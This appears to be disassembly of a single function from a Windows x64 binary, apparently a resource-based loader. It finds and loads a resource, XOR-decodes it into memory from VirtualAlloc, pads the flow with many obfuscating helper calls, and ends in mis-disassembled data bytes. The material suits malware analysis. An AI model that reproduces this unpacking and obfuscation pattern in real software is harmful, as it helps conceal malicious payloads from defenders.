Function at 0x140002d90
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc8
mov rdi, rcx
mov r12, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400071d0], r12
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400071d8], rax
mov edx, 0x6f
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x34], eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov ebx, dword [rsp + 0x34]
mov r8d, 0xad
mov rcx, rbx
mov edx, esi
call fcn.140002bc0
mov r15, rax
mov ecx, 0x1000
call fcn.140002bc0
mov rdi, rax
mov qword [rsp + 0x20], 0xb0
mov ecx, 4
mov r8d, 0x6d
mov edx, esi
mov r9d, esi
call fcn.140002bc0
xor ecx, ecx
mov rdx, r15
mov r8d, edi
mov r9d, eax
call r12
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
mov rdx, r14
mov r8, rbx
call fcn.140002b90
mov rdi, qword [rsp + 0x38]
mov edx, 0x74
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.140002bc0
mov ecx, dword [rsp + 0x34]
test rdi, rdi
je 0x140003246
cmp ecx, eax
je 0x140003246
mov ecx, 5
mov edx, 0x1e
call fcn.140002bc0
mov ecx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x50], rdx
cmp ecx, eax
jbe 0x140003294
mov rax, qword [rsp + 0x38]
mov esi, dword [rax]
mov dword [rsp + 0x20], esi
mov ecx, 0x2e786f72
mov r8d, 0xc1
mov edx, esi
mov r9d, esi
call fcn.140002bc0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x50], rcx
cmp esi, eax
jne 0x140003294
mov rax, qword [rsp + 0x38]
add rax, 4
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0x33], al
movzx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov dword [rsp + 0x44], ecx
mov edx, 0x89
xor ecx, ecx
call fcn.140002bc0
mov rsi, rax
movzx ebx, byte [rsp + 0x33]
movzx edx, byte [rsp + 0x33]
mov qword [rsp + 0x20], 0xd
mov ecx, 4
mov r8d, 0x30
mov r9d, edx
call fcn.140002bc0
mov ecx, dword [rsp + 0x44]
cmp bl, sil
je 0x1400032a5
cmp ecx, eax
jle 0x1400032a5
movzx eax, byte [rsp + 0x33]
mov qword [rsp + 0x58], rax
mov ecx, 4
call fcn.140002bc0
add rax, qword [rsp + 0x58]
add rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x28], 0xb5
mov ecx, 0xfffffffb
mov edx, 0x84
mov r9, r8
call fcn.140002bc0
mov rsi, rax
add esi, dword [rsp + 0x44]
mov ecx, 2
call fcn.140002bc0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rcx
cmp esi, eax
jb 0x140003294
mov qword [rsp + 0x20], 0x45
mov ecx, 0xfffffffc
mov edx, 0x9c
mov r8d, 0x8d
mov r9d, 0x22
call fcn.140002bc0
mov rsi, rax
add esi, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rsi
mov ecx, 1
call fcn.140002bc0
xor ecx, ecx
cmp al, byte [rsp + 0x33]
adc rcx, 1
mov qword [rsp + 0xa8], rcx
mov ecx, 1
call fcn.140002bc0
and rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x70], 2
cmp esi, 3
je 0x1400031e9
mov edx, 0x25e0318a
mov r8d, 0xdc
mov rcx, 0xfffffffffffffffe
call fcn.140002bc0
mov rsi, rax
add rsi, qword [rsp + 0xa0]
mov rcx, 0xfffffffffffffffe
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
and rax, rsi
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0x80], 0
xor r14d, r14d
nop dword [rax + rax]
mov r15, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
cmp rsi, qword [rsp + 0x58]
mov ebx, 0
cmovb rbx, rsi
mov rax, qword [rsp + 0x48]
movzx ecx, byte [rax + r12]
mov rdx, qword [rsp + 0x60]
xor cl, byte [rdx + rbx]
mov byte [rax + r12], cl
mov ecx, 1
mov r8d, 0xe68658
mov rdx, rsi
mov r9, rsi
call fcn.140002bc0
mov rdi, rax
add rdi, rbx
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0x2a
mov r8d, 0x74
mov r9d, 0x45
call fcn.140002bc0
or rax, r12
cmp rdi, qword [rsp + 0x58]
cmovae rdi, r14
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rcx + rax]
mov rbx, qword [rsp + 0x60]
xor dl, byte [rbx + rdi]
mov byte [rcx + rax], dl
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0xfcb019
mov r8d, 0x16
mov r9, rsi
call fcn.140002bc0
mov rsi, rax
add rsi, rdi
mov ecx, 2
mov edx, 0x267bba
mov r8d, 0x14
mov r9d, 0x47
call fcn.140002bc0
mov rdi, rax
add rdi, r12
mov ecx, 2
call fcn.140002bc0
add rax, r15
cmp rax, qword [rsp + 0xb8]
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
jne 0x1400030d0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x68], rax
mov r8, qword [rsp + 0x68]
mov qword [rsp + 0x20], r8
mov edx, 0xc6
xor ecx, ecx
mov r9, r8
call fcn.140002bc0
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rdx
cmp rcx, rax
je 0x140003294
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jae 0x14000326c
mov rax, qword [rsp + 0x68]
jmp 0x14000326e
lea rdx, [0x140006230]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0xc0]
movzx ebx, byte [rcx + rdx]
mov rdi, qword [rsp + 0x60]
xor bl, byte [rdi + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
lea rdx, str.rquvbCxvbGus72xs7Kpp6nr58
call fcn.140001000
mov rcx, qword [rsp + 0x98]
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
cli
loope 0x14000c9d3
invalid
cmc
mov edi, 0xbff5ff94
xchg esp, eax
push rbp
mov edi, 0xbff5ff94
xchg esp, eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov cs, word [rax - 0x79]
ret 0xc7ff
mov ebx, 0xc3c7ffc2
ret 0xc7ff
mov ebx, 0xc3c7ffc2
ret 0xc7ff
mov ebx, 0xffffffc2
cmc
mov edi, 0xbff5ff94
xchg esp, eax
push rbp
mov edi, 0xbff5ff94
xchg esp, eax
invalid
invalid
cmc
mov edi, 0xbff5ff94
xchg esp, eax
push rbp
mov edi, 0xffffff94
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov cs, word [rax - 0x79]
ret 0xc7ff
ret 0xc7ff
inc edi
ret
mov ebx, 0xc3c7ffc2
ret 0xc7ff
invalid
cmc
mov edi, 0xbff5ff94
xchg esp, eax
push rbp
mov edi, 0xe1faff94
cli
loope 0x14000cb53
cli
loope 0x14000cb53
invalid